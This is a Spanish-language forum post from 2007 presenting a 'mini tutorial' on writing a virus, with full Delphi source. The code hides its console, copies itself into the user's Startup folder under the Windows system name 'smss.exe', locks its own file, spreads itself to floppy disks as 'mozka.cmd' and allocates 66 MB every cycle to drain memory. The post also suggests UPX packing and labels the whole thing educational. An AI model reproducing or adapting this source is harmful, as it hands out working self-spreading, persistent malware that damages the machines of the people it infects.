Ver Mensaje Individual
  #11  
Antiguo 23-06-2007
Avatar de cHackAll
[cHackAll] cHackAll is offline
Baneado?
 
Registrado: oct 2006
Posts: 2.159
Reputación: 20
cHackAll Va por buen camino
Cool Mini tutorial para hacer virus?

Llego tarde????? espero que no! lo de "aparentar" que leí hace un cacho no le veo la gracia, mientras el Virus sea más portable pues mejor porque al copiarse no debe notarce el hecho... queremos hacer un mini tutorial de cómo hacer virus? haber comiencemos con la idea del CopyFile:

En primer lugar debemos crear una aplicacion de tipo "consola", pues no queremos que los enumeradores de ventanas detecten algo "sospechoso"... así que le damos a nueva Consola y borramos "program Project?;" pues con esto no ganamos en ESTE caso nada, tambien debemos borrar la directiva:
"{$APPTYPE CONSOLE}" pues tampoco queremos que se visualice una consola... solo queremos un proceso que jorobe no?

Luego reemplazamos "uses SysUtils;" por "uses Windows;", el motivo es que la primera unidad utiliza más o menos 16 Kb que no queremos tener cargados.

Código Delphi [-]
uses Windows;
 
var
 hKey: Windows.HKEY;
 FileName: array [0..MAX_PATH-1] of Char;
 Size: Cardinal = SizeOf(FileName);
 
label Back;
begin
 RegOpenKey(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders', hKey);
 RegQueryValueEx(hKey, 'Startup', nil, nil, @FileName, @Size);
 RegCloseKey(hKey);
 SetCurrentDirectory(@FileName);  // Nos vamos a la carpeta de inicio del usuario para que al levantar la compu corra el virus...
 SetErrorMode(SEM_FAILCRITICALERRORS);  // Quitamos los mensajes de error propios del S.O. que no sean GRAVES
 GetModuleFileName(0, @FileName, SizeOf(FileName));  // Obtenemos el ParamStr(0);
 if Byte(FileName[0]) or $20 = Ord('a') then  // Si me estoy ejecutando de la unidad A: significa que alguien es curioso  
  begin
   CopyFile(@FileName, 'smss.exe', False);  // me copio al "Inicio"
   WinExec('smss.exe', 0);  // ejecuto mi copia
   Exit;  // me salgo
  end;
 CreateFile(@FileName, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);  // Me abro para que no me puedan renombrar
 Back: Sleep(66600);  // En intervalos de un minuto con 6 segundos y 600 centesimas
 CopyFile(@FileName, 'a:\mozka.cmd', False);  // Intento copiarme...
 GlobalAlloc(GMEM_FIXED, 1024*1024*66);  // y de paso... la "gracia" del "virus"... asigno 66 megas (GetMem)
// a mi propio proceso para que algun momento el Güindos haga lo "suyo" 
 goto Back;
end.

Use el smss.exe pues no se puede finalizar... bájense el UPX, comprimanlo y haber que tan grande es el "producto"
PD: 0j0 que fue con fines educativos

Saludos.
Responder Con Cita